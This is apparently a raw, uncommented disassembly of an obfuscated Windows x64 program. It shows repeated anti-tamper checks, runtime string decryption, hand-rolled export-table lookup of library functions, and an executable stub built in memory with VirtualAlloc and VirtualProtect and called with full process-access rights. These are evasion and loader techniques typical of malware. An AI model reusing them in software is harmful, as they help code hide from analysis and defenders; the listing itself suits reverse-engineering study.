mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400554c6
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400554e6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140055590
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140055570
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140055570
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140055590
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
call fcn.1400bf5f0
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.14006189c
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x14005565a
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005563a
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005563a
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005565a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140055704
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400556e4
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400556e4
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140055704
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x1400557ae
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005578e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005578e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400557ae
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140055858
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140055838
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140055838
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140055858
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140055902
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400558e2
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400558e2
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140055902
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x1400559c6
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400559a6
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400559a6
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400559c6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140055a70
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140055a50
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140055a50
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140055a70
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140060e34
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140055b42
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140055b22
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140055b22
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140055b42
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x140055e54
xor r14d, r14d
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140055bfe
mov rax, qword gs:[0x26]
mov ecx, 0xe04aa78f
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140055f17
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140055f17
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140055f17
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.140050c48
mov r15d, eax
mov rcx, qword gs:[0x2b]
cmp rcx, rsi
jne 0x140055cbf
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x550d840
div rcx
mov qword [rbp + 0x1070], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0x1078], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0x1080], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x140055f37
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x140055f37
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x140055f37
test r15d, r15d
jne 0x140055f97
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140055d68
mov rax, qword gs:[0x26]
movabs rcx, 0xe742c5c04d18e104
xor rax, rcx
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x140055f57
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x140055f57
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x140055f57
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140055e31
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x550d840
div rcx
mov qword [rbp + 0xf60], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf68], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf70], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x140055f77
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x140055f77
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x140055f77
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x140055b63
xor r15d, r15d
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x14005fc9b
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x550d840
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140055ef7
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140055ef7
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005fc9b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.1400c65b8
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], Ordinal_50
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xb55ee38a
mov dword [rbp + 0x214], 0x86601a30
mov dword [rbp + 0x218], 0xa046154a
mov word [rbp + 0x21c], 0x55
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x110800a91
movabs r9, 0xdd680896a
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x1bad0112d4
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x210]
xor dil, r8b
mov byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x14005603a
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x7106a069
mov dword [rbp + 0x84], 0xc1e99b1c
mov word [rbp + 0x88], 0xb5
mov r8, r14
movabs r9, 0x994805f22
mov r10d, 9
movabs r11, 0x132900be44
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x1400560e0
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140056369
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140056369
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140056369
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140056369
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140056369
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400561db
inc rax
test edi, edi
jne 0x1400561c6
test r8d, r8d
je 0x1400561ed
inc rdx
cmp rdx, rsi
jb 0x1400561b5
jmp 0x140056369
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140056369
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x140056366
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400bf5f0
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.14006189c
lea rcx, [rbp + 0x7420]
call fcn.140060e34
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140060e34
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14005627b
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400e9070
mov dword [0x14013cac4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x14013cac0]
movsd qword [rdi], xmm0
movzx eax, word [0x14013cac8]
mov word [rdi + 8], ax
mov al, byte [0x14013caca]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400e9710
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x14013cac4], r14d
test edi, edi
js 0x14005637c
jmp 0x140056369
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x140056392
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.140050710
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x32f0cfc6
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x2b]
ja 0x14005f912
cmp rax, rbx
jne 0x140056455
mov rax, qword gs:[0x26]
mov r15d, 0xe04aa78f
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140056435
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140056435
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140056455
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121d70]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x140121e80]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x200e9596
mov word [rbp + 0xbc4], 0x1de
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
lea r10d, [rax + 0x26]
movabs r9, 0x28730191ac
movabs r11, 0x8080808080808081
movabs r15, 0x110800a91
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x50e6032358
cmp r9, rax
jb 0x1400564b5
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140013fac
mov rax, qword gs:[0x2b]
cmp rax, rbx
mov r15d, 0xe04aa78f
movabs rsi, 0xe742c5c04d18e104
jne 0x1400565e9
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400565c9
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400565c9
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400565e9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400c65b8
int3
call fcn.140050970
mov rcx, qword gs:[0x2b]
test al, al
jne 0x140056996
cmp rcx, rbx
jne 0x1400566a0
mov rax, qword gs:[0x26]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140056680
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140056680
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400566a0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121db0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], Ordinal_60
mov r10, r14
movabs rbx, 0x110800a91
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x121880b3b2
movabs r9, 0x2431016764
movabs r15, 0x8080808080808081
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x1400566ea
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x140121e20]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x140121b50]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov ebx, 0x32f0cfc6
movabs rsi, 0x110800a91
mov r9d, Ordinal_33
movabs r10, 0x20ff8147ae
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xaf8]
xor dil, r8b
mov byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
movabs rax, 0x41ff028f5c
cmp r10, rax
jb 0x140056790
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2b]
cmp rax, rbx
movabs rsi, 0xe742c5c04d18e104
jne 0x1400568e8
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x550d840
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400568c8
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400568c8
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400568e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rbx
jne 0x140060287
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140056976
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140056976
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140060287
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
cmp rcx, rbx
jne 0x140056a37
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140056a17
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140056a17
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140056a37
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121ed0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x8080808080808081
movabs r9, 0x110800a920
lea r10d, [rax + 0x10]
movabs r11, 0x2210015240
movabs r15, 0x110800a91
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x140056a7e
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.140050760
mov rax, qword gs:[0x2b]
cmp rax, rbx
mov r15d, 0xe04aa78f
jne 0x140056b9e
mov rax, qword gs:[0x26]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140056b7e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140056b7e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140056b9e
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400c65b8
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
